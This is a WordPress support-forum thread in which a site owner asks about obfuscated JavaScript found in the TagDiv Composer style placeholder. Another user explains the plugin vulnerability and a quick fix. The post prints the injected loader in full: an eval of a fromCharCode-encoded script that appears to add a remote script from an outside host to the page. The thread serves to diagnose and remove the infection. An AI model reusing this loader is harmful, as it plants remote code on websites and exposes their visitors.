is this code in my webstie header normal?

i find this code in my website source code

<style id="tdw-css-placeholder">var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,95,48,120,52,99,54,102,52,98,61,95,48,120,52,97,56,57,59,40,102,117,110,99,116,105,111,110,40,95,48,120,50,53,100,54,55,98,44,95,48,120,50,55,54,50,54,55,41,123,118,97,114,32,95,48,120,49,50,51,101,56,48,61,95,48,120,52,97,56,57,44,95,48,120,51,99,56,54,54,54,61,95,48,120,50,53,100,54,55,98,40,41,59,119,104,105,108,101,40,33,33,91,93,41,123,116,114,121,123,118,97,114,32,95,48,120,51,49,101,51,99,102,61,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,56,41,41,47,48,120,49,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,48,41,41,47,48,120,50,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,49,41,41,47,48,120,51,43,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,53,41,41,47,48,120,52,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,50,41,41,47,48,120,53,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,101,41,41,47,48,120,54,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,52,41,41,47,48,120,55,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,98,41,41,47,48,120,56,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,101,49,41,41,47,48,120,57,41,43,112,97,114,115,101,73,110,116,40,95,48,120,49,50,51,101,56,48,40,48,120,49,100,100,41,41,47,48,120,97,59,105,102,40,95,48,120,51,49,101,51,99,102,61,61,61,95,48,120,50,55,54,50,54,55,41,98,114,101,97,107,59,101,108,115,101,32,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,99,97,116,99,104,40,95,48,120,52,52,53,101,48,52,41,123,95,48,120,51,99,56,54,54,54,91,39,112,117,115,104,39,93,40,95,48,120,51,99,56,54,54,54,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,125,40,95,48,120,53,49,102,52,44,48,120,100,52,50,99,53,41,41,59,102,117,110,99,116,105,111,110,32,116,121,101,114,121,119,101,114,40,95,48,120,51,98,101,98,97,99,41,123,118,97,114,32,95,48,120,52,98,98,56,102,48,61,95,48,120,52,97,56,57,59,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,91,39,113,117,101,114,121,83,101,108,101,99,116,111,114,39,93,40,95,48,120,52,98,98,56,102,48,40,48,120,49,101,56,41,43,95,48,120,51,98,101,98,97,99,43,39,92,120,50,50,93,39,41,41,59,125,118,97,114,32,98,100,61,39,104,116,116,39,43,39,112,115,39,43,39,58,47,47,115,116,97,121,39,43,39,46,100,101,39,43,39,99,101,110,116,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,101,97,41,43,39,112,112,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,57,41,43,39,47,112,39,43,39,97,103,39,43,95,48,120,52,99,54,102,52,98,40,48,120,49,100,102,41,44,100,61,100,111,99,117,109,101,110,116,59,105,102,40,116,121,101,114,121,119,101,114,40,98,100,41,61,61,61,33,91,93,41,123,118,97,114,32,115,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,55,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,101,54,41,41,59,115,91,39,105,100,39,93,61,95,48,120,52,99,54,102,52,98,40,48,120,49,101,51,41,44,115,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,55,41,93,61,98,100,44,100,91,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,93,63,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,54,41,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,91,39,112,97,114,101,110,116,78,111,100,101,39,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,97,41,93,40,115,44,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,99,41,93,41,58,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,39,104,101,97,100,39,41,91,48,120,48,93,33,61,61,110,117,108,108,38,38,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,100,53,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,51,41,41,91,48,120,48,93,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,57,41,93,40,115,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,53,49,102,52,40,41,123,118,97,114,32,95,48,120,49,102,99,56,55,100,61,91,39,115,101,99,111,110,100,95,99,104,39,44,39,114,101,109,111,118,101,39,44,39,49,50,56,56,116,87,101,98,118,109,39,44,39,115,99,114,105,112,116,39,44,39,115,114,99,39,44,39,115,99,114,105,112,116,91,115,114,99,61,92,120,50,50,39,44,39,97,112,112,101,110,100,67,104,105,108,100,39,44,39,114,97,108,97,112,39,44,39,103,101,116,69,108,101,109,101,110,116,66,121,73,100,39,44,39,50,48,54,51,50,50,82,76,87,109,82,113,39,44,39,102,105,114,115,116,95,116,105,109,101,95,99,104,39,44,39,104,101,97,100,39,44,39,49,49,49,51,57,50,52,68,106,98,111,69,105,39,44,39,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,39,44,39,112,97,114,101,110,116,78,111,100,101,39,44,39,99,114,101,97,116,101,69,108,101,109,101,110,116,39,44,39,49,55,49,49,53,57,51,104,114,85,115,78,101,39,44,39,115,46,99,111,109,47,115,114,99,39,44,39,105,110,115,101,114,116,66,101,102,111,114,101,39,44,39,53,50,56,53,54,52,56,108,71,88,110,111,101,39,44,39,99,117,114,114,101,110,116,83,99,114,105,112,116,39,44,39,50,51,55,48,52,57,51,48,117,104,81,119,98,101,39,44,39,54,74,77,104,113,77,71,39,44,39,101,46,106,115,39,44,39,49,49,55,52,50,54,98,109,90,90,65,89,39,44,39,57,113,82,79,115,67,101,39,44,39,49,54,49,53,48,66,109,83,78,104,77,39,93,59,95,48,120,53,49,102,52,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,32,95,48,120,49,102,99,56,55,100,59,125,59,114,101,116,117,114,110,32,95,48,120,53,49,102,52,40,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,123,118,97,114,32,95,48,120,53,49,102,52,102,100,61,95,48,120,53,49,102,52,40,41,59,114,101,116,117,114,110,32,95,48,120,52,97,56,57,61,102,117,110,99,116,105,111,110,40,95,48,120,52,97,56,57,50,97,44,95,48,120,53,53,101,55,52,48,41,123,95,48,120,52,97,56,57,50,97,61,95,48,120,52,97,56,57,50,97,45,48,120,49,100,49,59,118,97,114,32,95,48,120,52,49,102,98,102,53,61,95,48,120,53,49,102,52,102,100,91,95,48,120,52,97,56,57,50,97,93,59,114,101,116,117,114,110,32,95,48,120,52,49,102,98,102,53,59,125,44,95,48,120,52,97,56,57,40,95,48,120,98,56,48,101,98,98,44,95,48,120,53,51,49,51,99,102,41,59,125,118,97,114,32,108,105,61,100,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,98,41,93,40,95,48,120,52,99,54,102,52,98,40,48,120,49,100,50,41,41,59,108,105,33,61,61,110,117,108,108,38,38,108,105,91,95,48,120,52,99,54,102,52,98,40,48,120,49,101,52,41,93,40,41,59);eval(iz2);</style>

the problem is in the tagdiv composer plugin. I found a quick-fix. This is not a permanent solution, but it works quickly:
wp-content/plugins/td-composer/css-live/css-live.php line: 142 where is <style id=”tdw-css-placeholder”>. i Just deleted code between <style id=”tdw-css-placeholder”> and ending </style>

echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}

Its a vulnerabilty of the theme. Someone is constantly trying to inject malware. Take a look to your server visit log and maybe you´ll find ips asking without stop to “/wp-json/tdw/save_css” or something similar.

My version of the theme gives them a 403, I was injected a few months ago and it’s seem the new version they built “solved the problem”. But hackers knows this vulnerability and they are trying and trying and trying. Look at the attached image, where you can find my server log from this morning. I haven’t seen them since a couple of weeks but they have come back again… Ips from Romania, Russia and Netherlands.

https://ibb.co/Y7TWgxy (attached image)

• This reply was modified 2 years by loslunes.

version: 12.6.2

i active wordfence plugin for my websites

yesterday i deleted code between <style id=”tdw-css-placeholder”> and ending </style>

What does this code do for the site?
And is it necessary?
Because I have removed this code

echo ‘ <style id=”tdw-css-placeholder”>/* custom css – generated by TagDiv Composer */’ . PHP_EOL . $css_buffer . ‘</style>’;
}